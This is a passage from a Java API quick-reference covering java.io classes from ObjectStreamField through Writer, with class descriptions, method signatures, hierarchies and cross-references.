Subclasses: InvalidClassException, InvalidObjectException, NotActiveException, NotSerializableException, OptionalDataException, StreamCorruptedException, WriteAbortedException

Thrown By: java.awt.color.ICC_Profile.readResolve(), java.security.cert.Certificate.writeReplace(), java.security.cert.Certificate.CertificateRep.readResolve()

ObjectStreamField | Java 1.2
java.io | comparable

This class represents a named field of a specified type (i.e., a specified Class). When a class serializes itself by writing a set of fields that are different from the fields it uses in its own implementation, it defines the set of fields to be written with an array of ObjectStreamField objects. This array should be the value of a private static field named serialPersistentFields. The methods of this class are used internally by the serialization mechanism and are not typically used elsewhere. See also ObjectOutputStream.PutField and ObjectInputStream.GetField.

public class ObjectStreamField implements Comparable {
// | Public Constructors
 | public ObjectStreamField (String n, Class clazz);
// | Property Accessor Methods (by property name)
 | public String getName ();
 | public int getOffset ();
 | public boolean isPrimitive ();
 | public Class getType ();
 | public char getTypeCode ();
 | public String getTypeString ();
// | Methods Implementing Comparable
 | public int compareTo (Object o);
// | Public Methods Overriding Object
 | public String toString ();
// | Protected Instance Methods
 | protected void setOffset (int offset);
}

Hierarchy: Object-->ObjectStreamField(Comparable)

Returned By: ObjectStreamClass.{getField(), getFields()}

Type Of: ObjectStreamClass.NO_FIELDS

OptionalDataException | Java 1.1
java.io | serializable checked PJ1.1

Thrown by the readObject() method of an ObjectInputStream when it encounters primitive type data where it expects object data. Despite the exception name, this data is not optional, and object deserialization is stopped.

public class OptionalDataException extends ObjectStreamException {
// | No Constructor
// | Public Instance Fields
 | public boolean eof ;
 | public int length ;
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->ObjectStreamException-->OptionalDataException

Thrown By: ObjectInputStream.{readObject(), readObjectOverride()}

OutputStream | Java 1.0
java.io | PJ1.1

This abstract class is the superclass of all output streams. It defines the basic output methods all output stream classes provide. write() writes a single byte or an array (or subarray) of bytes. flush() forces any buffered output to be written. close() closes the stream and frees up any system resources associated with it. The stream may not be used once close() has been called. See also Writer.

public abstract class OutputStream {
// | Public Constructors
 | public OutputStream (); |
// | Public Instance Methods
 | public void close () throws IOException; | empty
 | public void flush () throws IOException; | empty
 | public abstract void write (int b) throws IOException; |
 | public void write (byte[ ] b) throws IOException; |
 | public void write (byte[ ] b, int off, int len) throws IOException; |
}

Subclasses: ByteArrayOutputStream, FileOutputStream, FilterOutputStream, ObjectOutputStream, PipedOutputStream, javax.servlet.ServletOutputStream, org.omg.CORBA.portable.OutputStream

Passed To: Too many methods to list.

Returned By: Process.getOutputStream(), Runtime.getLocalizedOutputStream(), java.net.Socket.getOutputStream(), java.net.SocketImpl.getOutputStream(), java.net.URLConnection.getOutputStream(), java.rmi.server.LogStream.getOutputStream()

Type Of: FilterOutputStream.out

OutputStreamWriter | Java 1.1
java.io | PJ1.1

This class is a character output stream that uses a byte output stream as the destination for its data. When characters are written to an OutputStreamWriter, it translates them into bytes according to a particular locale- and/or platform-specific character encoding and writes those bytes to the specified OutputStream. This is a very important internationalization feature in Java 1.1 and later. OutputStreamWriter supports the usual Writer methods. It also has a getEncoding() method that returns the name of the encoding being used to convert characters to bytes.

When you create an OutputStreamWriter, specify the OutputStream to which it writes bytes and, optionally, the name of the character encoding that should be used to convert characters to bytes. If you do not specify an encoding name, the OutputStreamWriter uses the default encoding of the default locale, which is usually the correct thing to do.

public class OutputStreamWriter extends Writer {
// | Public Constructors
 | public OutputStreamWriter (java.io.OutputStream out);
 | public OutputStreamWriter (java.io.OutputStream out, String enc) throws UnsupportedEncodingException;
// | Public Instance Methods
 | public String getEncoding ();
// | Public Methods Overriding Writer
 | public void close () throws IOException;
 | public void flush () throws IOException;
 | public void write (int c) throws IOException;
 | public void write (char[ ] cbuf, int off, int len) throws IOException;
 | public void write (String str, int off, int len) throws IOException;
}

Hierarchy: Object-->Writer-->OutputStreamWriter

Subclasses: FileWriter

PipedInputStream | Java 1.0
java.io | PJ1.1

This class is an InputStream that implements one half of a pipe and is useful for communication between threads. A PipedInputStream must be connected to a PipedOutputStream object, which may be specified when the PipedInputStream is created or with the connect() method. Data read from a PipedInputStream object is received from the PipedOutputStream to which it is connected. See InputStream for information on the low-level methods for reading data from a PipedInputStream. A FilterInputStream can provide a higher-level interface for reading data from a PipedInputStream.

public class PipedInputStream extends java.io.InputStream {
// | Public Constructors
 | public PipedInputStream (); |
 | public PipedInputStream (PipedOutputStream src) throws IOException; |
// | Protected Constants
1.1 | protected static final int PIPE_SIZE ; | =1024
// | Public Instance Methods
 | public void connect (PipedOutputStream src) throws IOException; |
// | Public Methods Overriding InputStream
 | public int available () throws IOException; | synchronized
 | public void close () throws IOException; |
 | public int read () throws IOException; | synchronized
 | public int read (byte[ ] b, int off, int len) throws IOException; | synchronized
// | Protected Instance Methods
 | protected void receive (int b) throws IOException; | synchronized
// | Protected Instance Fields
 | protected byte[ ] buffer ; |
 | protected int in ; |
 | protected int out ; |
}

Hierarchy: Object-->java.io.InputStream-->PipedInputStream

Passed To: PipedOutputStream.{connect(), PipedOutputStream()}

PipedOutputStream | Java 1.0
java.io | PJ1.1

This class is an OutputStream that implements one half of a pipe and is useful for communication between threads. A PipedOutputStream must be connected to a PipedInputStream, which may be specified when the PipedOutputStream is created or with the connect() method. Data written to the PipedOutputStream is available for reading on the PipedInputStream. See OutputStream for information on the low-level methods for writing data to a PipedOutputStream. A FilterOutputStream can provide a higher-level interface for writing data to a PipedOutputStream.

public class PipedOutputStream extends java.io.OutputStream {
// | Public Constructors
 | public PipedOutputStream (); |
 | public PipedOutputStream (PipedInputStream snk) throws IOException; |
// | Public Instance Methods
 | public void connect (PipedInputStream snk) throws IOException; | synchronized
// | Public Methods Overriding OutputStream
 | public void close () throws IOException; |
 | public void flush () throws IOException; | synchronized
 | public void write (int b) throws IOException; |
 | public void write (byte[ ] b, int off, int len) throws IOException; |
}

Hierarchy: Object-->java.io.OutputStream-->PipedOutputStream

Passed To: PipedInputStream.{connect(), PipedInputStream()}

PipedReader | Java 1.1
java.io | PJ1.1

PipedReader is a character input stream that reads characters from a PipedWriter character output stream to which it is connected. PipedReader implements one half of a pipe and is useful for communication between two threads of an application. A PipedReader cannot be used until it is connected to a PipedWriter object, which may be passed to the PipedReader() constructor or to the connect() method. PipedReader inherits most of the methods of its superclass. See Reader for more information. PipedReader is the character-stream analog of PipedInputStream.

public class PipedReader extends Reader {
// | Public Constructors
 | public PipedReader (); |
 | public PipedReader (PipedWriter src) throws IOException; |
// | Public Instance Methods
 | public void connect (PipedWriter src) throws IOException; |
// | Public Methods Overriding Reader
 | public void close () throws IOException; |
1.2 | public int read () throws IOException; | synchronized
 | public int read (char[ ] cbuf, int off, int len) throws IOException; | synchronized
1.2 | public boolean ready () throws IOException; | synchronized
}

Hierarchy: Object-->Reader-->PipedReader

Passed To: PipedWriter.{connect(), PipedWriter()}

PipedWriter | Java 1.1
java.io | PJ1.1

PipedWriter is a character output stream that writes characters to the PipedReader character input stream to which it is connected. PipedWriter implements one half of a pipe and is useful for communication between two threads of an application. A PipedWriter cannot be used until it is connected to a PipedReader object, which may be passed to the PipedWriter() constructor, or to the connect() method. PipedWriter inherits most of the methods of its superclass. See Writer for more information. PipedWriter is the character-stream analog of PipedOutputStream.

public class PipedWriter extends Writer {
// | Public Constructors
 | public PipedWriter (); |
 | public PipedWriter (PipedReader snk) throws IOException; |
// | Public Instance Methods
 | public void connect (PipedReader snk) throws IOException; | synchronized
// | Public Methods Overriding Writer
 | public void close () throws IOException; |
 | public void flush () throws IOException; | synchronized
1.2 | public void write (int c) throws IOException; |
 | public void write (char[ ] cbuf, int off, int len) throws IOException; |
}

Hierarchy: Object-->Writer-->PipedWriter

Passed To: PipedReader.{connect(), PipedReader()}

PrintStream | Java 1.0
java.io | PJ1.1

This class is a FilterOutputStream that implements a number of methods for displaying textual representations of Java primitive data types. The print() methods output standard textual representations of each data type. The println() methods do the same and follow the representations with newlines. Each method converts a Java primitive type to a String representation and outputs the resulting string. When an Object is passed to a print() or println(), it is converted to a String by calling its toString() method. PrintStream is the OutputStream type that makes it easiest to output text. As such, it is the most commonly used of the output streams. The System.out variable is a PrintStream.

Note that in Java 1.0 this class does not handle Unicode characters correctly; it discards the top 8 bits of all 16-bit characters and thus works only with Latin-1 (ISO8859-1) characters. Although this problem has been fixed as of Java 1.1, PrintStream has been superseded by PrintWriter as of Java 1.1. The constructors of this class have been deprecated, but the class itself has not, because it is still used by the System.out and System.err standard output streams.

PrintStream, and its PrintWriter replacement, output textual representations of Java data types. Use DataOutputStream to output binary representations of data.

public class PrintStream extends FilterOutputStream {
// | Public Constructors
 | public PrintStream (java.io.OutputStream out);
 | public PrintStream (java.io.OutputStream out, boolean autoFlush);
// | Public Instance Methods
 | public boolean checkError ();
 | public void print (long l);
 | public void print (int i);
 | public void print (char c);
 | public void print (float f);
 | public void print (String s);
 | public void print (Object obj);
 | public void print (double d);
 | public void print (char[ ] s);
 | public void print (boolean b);
 | public void println ();
 | public void println (long x);
 | public void println (float x);
 | public void println (char x);
 | public void println (int x);
 | public void println (String x);
 | public void println (Object x);
 | public void println (double x);
 | public void println (char[ ] x);
 | public void println (boolean x);
// | Public Methods Overriding FilterOutputStream
 | public void close ();
 | public void flush ();
 | public void write (int b);
 | public void write (byte[ ] buf, int off, int len);
// | Protected Instance Methods
1.1 | protected void setError ();
}

Hierarchy: Object-->java.io.OutputStream-->FilterOutputStream-->PrintStream

Subclasses: java.rmi.server.LogStream

Passed To: Too many methods to list.

Returned By: java.rmi.server.LogStream.getDefaultStream(), java.rmi.server.RemoteServer.getLog(), java.sql.DriverManager.getLogStream(), javax.swing.DebugGraphics.logStream()

Type Of: System.{err, out}

PrintWriter | Java 1.1
java.io | PJ1.1

This class is a character output stream that implements a number of print() and println() methods that output textual representations of primitive values and objects. When you create a PrintWriter object, you specify a character or byte output stream that it should write its characters to and, optionally, whether the PrintWriter stream should be automatically flushed whenever println() is called. If you specify a byte output stream as the destination, the PrintWriter() constructor automatically creates the necessary OutputStreamWriter object to convert characters to bytes using the default encoding.

PrintWriter implements the normal write(), flush(), and close() methods all Writer subclasses define. It is more common to use the higher-level print() and println() methods, each of which converts its argument to a string before outputting it. println() can also terminate the line (and optionally flush the buffer) after printing its argument.

The methods of PrintWriter never throw exceptions. Instead, when errors occur, they set an internal flag you can check by calling checkError(). checkError() first flushes the internal stream and then returns true if any exception has occurred while writing values to that stream. Once an error has occurred on a PrintWriter object, all subsequent calls to checkError() return true; there is no way to reset the error flag.

PrintWriter is the character stream analog to PrintStream, which it supersedes. You can usually trivially replace any PrintStream objects in a program with PrintWriter objects. This is particularly important for internationalized programs. The only valid remaining use for the PrintStream class is for the System.out and System.err standard output streams. See PrintStream for details.

public class PrintWriter extends Writer {
// | Public Constructors
 | public PrintWriter (java.io.OutputStream out);
 | public PrintWriter (Writer out);
 | public PrintWriter (java.io.OutputStream out, boolean autoFlush);
 | public PrintWriter (Writer out, boolean autoFlush);
// | Public Instance Methods
 | public boolean checkError ();
 | public void print (int i);
 | public void print (long l);
 | public void print (boolean b);
 | public void print (char c);
 | public void print (double d);
 | public void print (char[ ] s);
 | public void print (String s);
 | public void print (float f);
 | public void print (Object obj);
 | public void println ();
 | public void println (int x);
 | public void println (long x);
 | public void println (boolean x);
 | public void println (char x);
 | public void println (String x);
 | public void println (Object x);
 | public void println (char[ ] x);
 | public void println (float x);
 | public void println (double x);
// | Public Methods Overriding Writer
 | public void close ();
 | public void flush ();
 | public void write (char[ ] buf);
 | public void write (String s);
 | public void write (int c);
 | public void write (String s, int off, int len);
 | public void write (char[ ] buf, int off, int len);
// | Protected Instance Methods
 | protected void setError ();
// | Protected Instance Fields
 | protected Writer out ;
}

Hierarchy: Object-->Writer-->PrintWriter

Passed To: Too many methods to list.

Returned By: java.sql.DriverManager.getLogWriter(), javax.servlet.ServletResponse.getWriter(), javax.sql.ConnectionPoolDataSource.getLogWriter(), javax.sql.DataSource.getLogWriter(), javax.sql.XADataSource.getLogWriter()

PushbackInputStream | Java 1.0
java.io | PJ1.1

This class is a FilterInputStream that implements a one-byte pushback buffer or, as of Java 1.1, a pushback buffer of a specified length. The unread() methods push bytes back into the stream; these bytes are the first ones read by the next call to a read() method. This class is sometimes useful when writing parsers. See also PushbackReader.

public class PushbackInputStream extends FilterInputStream {
// | Public Constructors
 | public PushbackInputStream (java.io.InputStream in); |
1.1 | public PushbackInputStream (java.io.InputStream in, int size); |
// | Public Instance Methods
 | public void unread (int b) throws IOException; |
1.1 | public void unread (byte[ ] b) throws IOException; |
1.1 | public void unread (byte[ ] b, int off, int len) throws IOException; |
// | Public Methods Overriding FilterInputStream
 | public int available () throws IOException; |
1.2 | public void close () throws IOException; | synchronized
 | public boolean markSupported (); | constant
 | public int read () throws IOException; |
 | public int read (byte[ ] b, int off, int len) throws IOException; |
1.2 | public long skip (long n) throws IOException; |
// | Protected Instance Fields
1.1 | protected byte[ ] buf ; |
1.1 | protected int pos ; |
}

Hierarchy: Object-->java.io.InputStream-->FilterInputStream-->PushbackInputStream

PushbackReader | Java 1.1
java.io | PJ1.1

This class is a character input stream that uses another input stream as its input source and adds the ability to push characters back onto the stream. This feature is often useful when writing parsers. When you create a PushbackReader stream, you specify the stream to be read from and, optionally, the size of the pushback buffer (i.e., the number of characters that may be pushed back onto the stream or unread). If you do not specify a size for this buffer, the default size is one character. PushbackReader inherits or overrides all standard Reader methods and adds three unread() methods that push a single character, an array of characters, or a portion of an array of characters back onto the stream. This class is the character stream analog of PushbackInputStream.

public class PushbackReader extends FilterReader {
// | Public Constructors
 | public PushbackReader (Reader in); |
 | public PushbackReader (Reader in, int size); |
// | Public Instance Methods
 | public void unread (int c) throws IOException; |
 | public void unread (char[ ] cbuf) throws IOException; |
 | public void unread (char[ ] cbuf, int off, int len) throws IOException; |
// | Public Methods Overriding FilterReader
 | public void close () throws IOException; |
1.2 | public void mark (int readAheadLimit) throws IOException; |
 | public boolean markSupported (); | constant
 | public int read () throws IOException; |
 | public int read (char[ ] cbuf, int off, int len) throws IOException; |
 | public boolean ready () throws IOException; |
1.2 | public void reset () throws IOException; |
}

Hierarchy: Object-->Reader-->FilterReader-->PushbackReader

RandomAccessFile | Java 1.0
java.io | PJ1.1(opt)

This class allows you to read and write arbitrary bytes, text, and primitive Java data types from or to any specified location in a file. Because this class provides random, rather than sequential, access to files, it is neither a subclass of InputStream nor of OutputStream, but provides an entirely independent method for reading and writing data from or to files. RandomAccessFile implements the same interfaces as DataInputStream and DataOutputStream, and thus defines the same methods for reading and writing data as those classes do.

The seek() method provides random access to the file; it is used to select the position in the file where data should be read or written. The mode argument to the constructor methods should be "r" for a file that is to be read-only or "rw" for a file that is to be written (and perhaps read as well).

public class RandomAccessFile implements DataInputDataOutput {
// | Public Constructors
 | public RandomAccessFile (String name, String mode) throws FileNotFoundException; |
 | public RandomAccessFile (File file, String mode) throws FileNotFoundException; |
// | Public Instance Methods
 | public void close () throws IOException; | native
 | public final FileDescriptor getFD () throws IOException; |
 | public long getFilePointer () throws IOException; | native
 | public long length () throws IOException; | native
 | public int read () throws IOException; | native
 | public int read (byte[ ] b) throws IOException; |
 | public int read (byte[ ] b, int off, int len) throws IOException; |
 | public void seek (long pos) throws IOException; | native
1.2 | public void setLength (long newLength) throws IOException; | native
// | Methods Implementing DataInput
 | public final boolean readBoolean () throws IOException; |
 | public final byte readByte () throws IOException; |
 | public final char readChar () throws IOException; |
 | public final double readDouble () throws IOException; |
 | public final float readFloat () throws IOException; |
 | public final void readFully (byte[ ] b) throws IOException; |
 | public final void readFully (byte[ ] b, int off, int len) throws IOException; |
 | public final int readInt () throws IOException; |
 | public final String readLine () throws IOException; |
 | public final long readLong () throws IOException; |
 | public final short readShort () throws IOException; |
 | public final int readUnsignedByte () throws IOException; |
 | public final int readUnsignedShort () throws IOException; |
 | public final String readUTF () throws IOException; |
 | public int skipBytes (int n) throws IOException; |
// | Methods Implementing DataOutput
 | public void write (int b) throws IOException; | native
 | public void write (byte[ ] b) throws IOException; |
 | public void write (byte[ ] b, int off, int len) throws IOException; |
 | public final void writeBoolean (boolean v) throws IOException; |
 | public final void writeByte (int v) throws IOException; |
 | public final void writeBytes (String s) throws IOException; |
 | public final void writeChar (int v) throws IOException; |
 | public final void writeChars (String s) throws IOException; |
 | public final void writeDouble (double v) throws IOException; |
 | public final void writeFloat (float v) throws IOException; |
 | public final void writeInt (int v) throws IOException; |
 | public final void writeLong (long v) throws IOException; |
 | public final void writeShort (int v) throws IOException; |
 | public final void writeUTF (String str) throws IOException; |
}

Hierarchy: Object-->RandomAccessFile(DataInput,DataOutput)

Reader | Java 1.1
java.io | PJ1.1

This abstract class is the superclass of all character input streams. It is an analog to InputStream, which is the superclass of all byte input streams. Reader defines the basic methods that all character output streams provide. read() returns a single character or an array (or subarray) of characters, blocking if necessary; it returns -1 if the end of the stream has been reached. ready() returns true if there are characters available for reading. If ready() returns true, the next call to read() is guaranteed not to block. close() closes the character input stream. skip() skips a specified number of characters in the input stream. If markSupported() returns true, mark() marks a position in the stream and, if necessary, creates a look-ahead buffer of the specified size. Future calls to reset() restore the stream to the marked position if they occur within the specified look-ahead limit. Note that not all stream types support this mark-and-reset functionality. To create a subclass of Reader, you need only implement the three-argument version of read() and the close() method. Most subclasses implement additional methods, however.

public abstract class Reader {
// | Protected Constructors
 | protected Reader (); |
 | protected Reader (Object lock); |
// | Public Instance Methods
 | public abstract void close () throws IOException; |
 | public void mark (int readAheadLimit) throws IOException; |
 | public boolean markSupported (); | constant
 | public int read () throws IOException; |
 | public int read (char[ ] cbuf) throws IOException; |
 | public abstract int read (char[ ] cbuf, int off, int len) throws IOException; |
 | public boolean ready () throws IOException; | constant
 | public void reset () throws IOException; |
 | public long skip (long n) throws IOException; |
// | Protected Instance Fields
 | protected Object lock ; |
}

Subclasses: BufferedReader, CharArrayReader, FilterReader, InputStreamReader, PipedReader, StringReader

Passed To: Too many methods to list.

Returned By: java.awt.datatransfer.DataFlavor.getReaderForText(), java.sql.Clob.getCharacterStream(), java.sql.ResultSet.getCharacterStream(), java.sql.SQLInput.readCharacterStream()

Type Of: FilterReader.in

SequenceInputStream | Java 1.0
java.io | PJ1.1

This class provides a way of seamlessly concatenating the data from two or more input streams. It provides an InputStream interface to a sequence of InputStream objects. Data is read from the streams in the order in which the streams are specified. When the end of one stream is reached, data is automatically read from the next stream. This class might be useful, for example, when implementing an include file facility for a parser of some sort.

public class SequenceInputStream extends java.io.InputStream {
// | Public Constructors
 | public SequenceInputStream (java.util.Enumeration e);
 | public SequenceInputStream (java.io.InputStream s1, java.io.InputStream s2);
// | Public Methods Overriding InputStream
1.1 | public int available () throws IOException;
 | public void close () throws IOException;
 | public int read () throws IOException;
 | public int read (byte[ ] b, int off, int len) throws IOException;
}

Hierarchy: Object-->java.io.InputStream-->SequenceInputStream

Serializable | Java 1.1
java.io | serializable PJ1.1

The Serializable interface defines no methods or constants. A class should implement this interface simply to indicate that it allows itself to be serialized and deserialized with ObjectOutputStream.writeObject() and ObjectInputStream.readObject().

Objects that need special handling during serialization or deserialization may implement one or both of the following methods. Note, however, that these methods are not part of the Serializable interface:

private void writeObject(java.io.ObjectOutputStream out) throws IOException;
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException;

Typically, the writeObject() method performs any necessary cleanup or preparation for serialization, invokes the defaultWriteObject() method of the ObjectOutputStream to serialize the non-transient fields of the class, and optionally writes any additional data that is required. Similarly, the readObject() method typically invokes the defaultReadObject() method of the ObjectInputStream, reads any additional data written by the corresponding writeObject() method, and performs any extra initialization required by the object. The readObject() method may also register an ObjectInputValidation object to validate the object once it is completely deserialized.

public interface Serializable {
}

Implementations: Too many classes to list.

Passed To: java.security.SignedObject.SignedObject(), javax.crypto.SealedObject.SealedObject(), javax.jms.ObjectMessage.setObject(), javax.jms.Session.createObjectMessage(), org.omg.CORBA.Any.insert_Value(), org.omg.CORBA.DataOutputStream.write_Value(), org.omg.CORBA.DynAny.insert_val(), org.omg.CORBA.StreamingPolicy.marshal(), org.omg.CORBA.StringValueHelper.write_value(), org.omg.CORBA.ValueBaseHelper.{insert(), write()}, org.omg.CORBA.ValueBaseHolder.ValueBaseHolder(), org.omg.CORBA.WStringValueHelper.write_value(), org.omg.CORBA.portable.BoxedValueHelper.write_value()

Returned By: java.beans.beancontext.BeanContextSupport.getChildSerializable(), javax.jms.ObjectMessage.getObject(), org.omg.CORBA.Any.extract_Value(), org.omg.CORBA.DataInputStream.read_Value(), org.omg.CORBA.DynAny.get_val(), org.omg.CORBA.StreamingPolicy.unmarshal(), org.omg.CORBA.StringValueHelper.read_value(), org.omg.CORBA.ValueBaseHelper.{extract(), read()}, org.omg.CORBA.WStringValueHelper.read_value(), org.omg.CORBA.portable.BoxedValueHelper.read_value(), org.omg.CORBA.portable.ValueFactory.read_value()

Type Of: org.omg.CORBA.ValueBaseHolder.value

SerializablePermission | Java 1.2
java.io | serializable permission

This class is a java.security.Permission that governs the use of certain sensitive features of serialization. SerializablePermission objects have a name, or target, but do not have an action list. The name "enableSubclassImplementation" represents permission to serialize and deserialize objects using subclasses of ObjectOutputStream and ObjectInputStream. This capability is protected by a permission because malicious code can define object stream subclasses that incorrectly serialize and deserialize objects.

The only other name supported by SerializablePermission is "enableSubstitution", which represents permission for one object to be substituted for another during serialization or deserialization. The ObjectOutputStream.enableReplaceObject() and ObjectInputStream.enableResolveObject() methods require a permission of this type.

Applications never need to use this class. Programmers writing system-level code may use it, and system adminstrators configuring security policies should be familiar with it.

public final class SerializablePermission extends java.security.BasicPermission {
// | Public Constructors
 | public SerializablePermission (String name);
 | public SerializablePermission (String name, String actions);
}

Hierarchy: Object-->java.security.Permission(java.security.Guard,Serializable)-->java.security.BasicPermission(Serializable)-->SerializablePermission

Type Of: ObjectStreamConstants.{SUBCLASS_IMPLEMENTATION_PERMISSION, SUBSTITUTION_PERMISSION}

StreamCorruptedException | Java 1.1
java.io | serializable checked PJ1.1

Signals that the data stream being read by an ObjectInputStream has been corrupted and does not contain valid serialized object data.

public class StreamCorruptedException extends ObjectStreamException {
// | Public Constructors
 | public StreamCorruptedException ();
 | public StreamCorruptedException (String reason);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->ObjectStreamException-->StreamCorruptedException

Thrown By: ObjectInputStream.{ObjectInputStream(), readStreamHeader()}, java.rmi.server.RemoteCall.getResultStream()

StreamTokenizer | Java 1.0
java.io | PJ1.1

This class performs lexical analysis of a specified input stream and breaks the input into tokens. It can be extremely useful when writing simple parsers. nextToken() returns the next token in the stream; this is either one of the constants defined by the class (which represent end-of-file, end-of-line, a parsed floating-point number, and a parsed word) or a character value. pushBack() pushes the token back onto the stream, so that it is returned by the next call to nextToken(). The public variables sval and nval contain the string and numeric values (if applicable) of the most recently read token. They are applicable when the returned token is TT_WORD or TT_NUMBER. lineno() returns the current line number.

The remaining methods allow you to specify how tokens are recognized. wordChars() specifies a range of characters that should be treated as parts of words. whitespaceChars() specifies a range of characters that serve to delimit tokens. ordinaryChars() and ordinaryChar() specify characters that are never part of tokens and should be returned as-is. resetSyntax() makes all characters ordinary. eolIsSignificant() specifies whether end-of-line is significant. If so, the TT_EOL constant is returned for end-of-lines; otherwise, they are treated as whitespace. commentChar() specifies a character that begins a comment that lasts until the end of the line. No characters in the comment are returned. slashStarComments() and slashSlashComments() specify whether the StreamTokenizer should recognize C- and C++-style comments. If so, no part of the comment is returned as a token. quoteChar() specifies a character used to delimit strings. When a string token is parsed, the quote character is returned as the token value, and the body of the string is stored in the sval variable. lowerCaseMode() specifies whether TT_WORD tokens should be converted to all lowercase characters before being stored in sval. parseNumbers() specifies that the StreamTokenizer should recognize and return double-precision floating-point number tokens.

public class StreamTokenizer {
// | Public Constructors
1.1 | public StreamTokenizer (Reader r); |
# | public StreamTokenizer (java.io.InputStream is); |
// | Public Constants
 | public static final int TT_EOF ; | =-1
 | public static final int TT_EOL ; | =10
 | public static final int TT_NUMBER ; | =-2
 | public static final int TT_WORD ; | =-3
// | Public Instance Methods
 | public void commentChar (int ch); |
 | public void eolIsSignificant (boolean flag); |
 | public int lineno (); |
 | public void lowerCaseMode (boolean fl); |
 | public int nextToken () throws IOException; |
 | public void ordinaryChar (int ch); |
 | public void ordinaryChars (int low, int hi); |
 | public void parseNumbers (); |
 | public void pushBack (); |
 | public void quoteChar (int ch); |
 | public void resetSyntax (); |
 | public void slashSlashComments (boolean flag); |
 | public void slashStarComments (boolean flag); |
 | public void whitespaceChars (int low, int hi); |
 | public void wordChars (int low, int hi); |
// | Public Methods Overriding Object
 | public String toString (); |
// | Public Instance Fields
 | public double nval ; |
 | public String sval ; |
 | public int ttype ; |
}
StringBufferInputStream | Java 1.0; Deprecated in Java 1.1
java.io | PJ1.1

This class is a subclass of InputStream in which input bytes come from the characters of a specified String object. This class does not correctly convert the characters of a StringBuffer into bytes and is deprecated as of Java 1.1. Use StringReader instead to convert characters into bytes or use ByteArrayInputStream to read bytes from an array of bytes.

public class StringBufferInputStream extends java.io.InputStream {
// | Public Constructors
 | public StringBufferInputStream (String s); |
// | Public Methods Overriding InputStream
 | public int available (); | synchronized
 | public int read (); | synchronized
 | public int read (byte[ ] b, int off, int len); | synchronized
 | public void reset (); | synchronized
 | public long skip (long n); | synchronized
// | Protected Instance Fields
 | protected String buffer ; |
 | protected int count ; |
 | protected int pos ; |
}

Hierarchy: Object-->java.io.InputStream-->StringBufferInputStream

StringReader | Java 1.1
java.io | PJ1.1

This class is a character input stream that uses a String object as the source of the characters it returns. When you create a StringReader, you must specify the String to read from. StringReader defines the normal Reader methods and supports mark() and reset(). If reset() is called before mark() has been called, the stream is reset to the beginning of the specified string. StringReader is a character stream analog to StringBufferInputStream, which is deprecated as of Java 1.1. StringReader is also similar to CharArrayReader.

public class StringReader extends Reader {
// | Public Constructors
 | public StringReader (String s); |
// | Public Methods Overriding Reader
 | public void close (); |
 | public void mark (int readAheadLimit) throws IOException; |
 | public boolean markSupported (); | constant
 | public int read () throws IOException; |
 | public int read (char[ ] cbuf, int off, int len) throws IOException; |
 | public boolean ready () throws IOException; |
 | public void reset () throws IOException; |
 | public long skip (long ns) throws IOException; |
}

Hierarchy: Object-->Reader-->StringReader

StringWriter | Java 1.1
java.io | PJ1.1

This class is a character output stream that uses an internal StringBuffer object as the destination of the characters written to the stream. When you create a StringWriter, you may optionally specify an initial size for the StringBuffer, but you do not specify the StringBuffer itself; it is managed internally by the StringWriter and grows as necessary to accommodate the characters written to it. StringWriter defines the standard write(), flush(), and close() methods all Writer subclasses define, as well as two methods to obtain the characters that have been written to the stream's internal buffer. toString() returns the contents of the internal buffer as a String, and getBuffer() returns the buffer itself. Note that getBuffer() returns a reference to the actual internal buffer, not a copy of it, so any changes you make to the buffer are reflected in subsequent calls to toString(). StringWriter is quite similar to CharArrayWriter, but does not have a byte-stream analog.

public class StringWriter extends Writer {
// | Public Constructors
 | public StringWriter ();
 | public StringWriter (int initialSize);
// | Public Instance Methods
 | public StringBuffer getBuffer ();
// | Public Methods Overriding Writer
 | public void close () throws IOException;
 | public void flush ();
 | public void write (int c);
 | public void write (String str);
 | public void write (String str, int off, int len);
 | public void write (char[ ] cbuf, int off, int len);
// | Public Methods Overriding Object
 | public String toString ();
}

Hierarchy: Object-->Writer-->StringWriter

SyncFailedException | Java 1.1
java.io | serializable checked PJ1.1

Signals that a call to FileDescriptor.sync() did not complete successfully.

public class SyncFailedException extends IOException {
// | Public Constructors
 | public SyncFailedException (String desc);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->SyncFailedException

Thrown By: FileDescriptor.sync()

UnsupportedEncodingException | Java 1.1
java.io | serializable checked PJ1.1

Signals that a requested character encoding is not supported by the current Java Virtual Machine.

public class UnsupportedEncodingException extends IOException {
// | Public Constructors
 | public UnsupportedEncodingException ();
 | public UnsupportedEncodingException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->UnsupportedEncodingException

Thrown By: ByteArrayOutputStream.toString(), InputStreamReader.InputStreamReader(), OutputStreamWriter.OutputStreamWriter(), String.{getBytes(), String()}

UTFDataFormatException | Java 1.0
java.io | serializable checked PJ1.1

An IOException that signals that a malformed UTF-8 string has been encountered by a class that implements the DataInput interface. UTF-8 is an ASCII-compatible transformation format for Unicode characters that is often used to store and transmit Unicode text.

public class UTFDataFormatException extends IOException {
// | Public Constructors
 | public UTFDataFormatException ();
 | public UTFDataFormatException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->UTFDataFormatException

WriteAbortedException | Java 1.1
java.io | serializable checked PJ1.1

Thrown when reading a stream of data that is incomplete because an exception was thrown while it was being written. The detail field may contain the exception that terminated the output stream. The getMessage() method has been overridden to include the message of this detail exception, if any.

public class WriteAbortedException extends ObjectStreamException {
// | Public Constructors
 | public WriteAbortedException (String s, Exception ex);
// | Public Methods Overriding Throwable
 | public String getMessage ();
// | Public Instance Fields
 | public Exception detail ;
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->IOException-->ObjectStreamException-->WriteAbortedException

Writer | Java 1.1
java.io | PJ1.1

This abstract class is the superclass of all character output streams. It is an analog to OutputStream, which is the superclass of all byte output streams. Writer defines the basic write(), flush(), and close() methods all character output streams provide. The five versions of the write() method write a single character, a character array or subarray, or a string or substring to the destination of the stream. The most general version of this method--the one that writes a specified portion of a character array--is abstract and must be implemented by all subclasses. By default, the other write() methods are implemented in terms of this abstract one. The flush() method is another abstract method all subclasses must implement. It should force any output buffered by the stream to be written to its destination. If that destination is itself a character or byte output stream, it should invoke the flush() method of the destination stream as well. The close() method is also abstract. A subclass must implement this method so that it flushes and then closes the current stream and also closes whatever destination stream it is connected to. Once the stream is closed, any future calls to write() or flush() should throw an IOException.

public abstract class Writer {
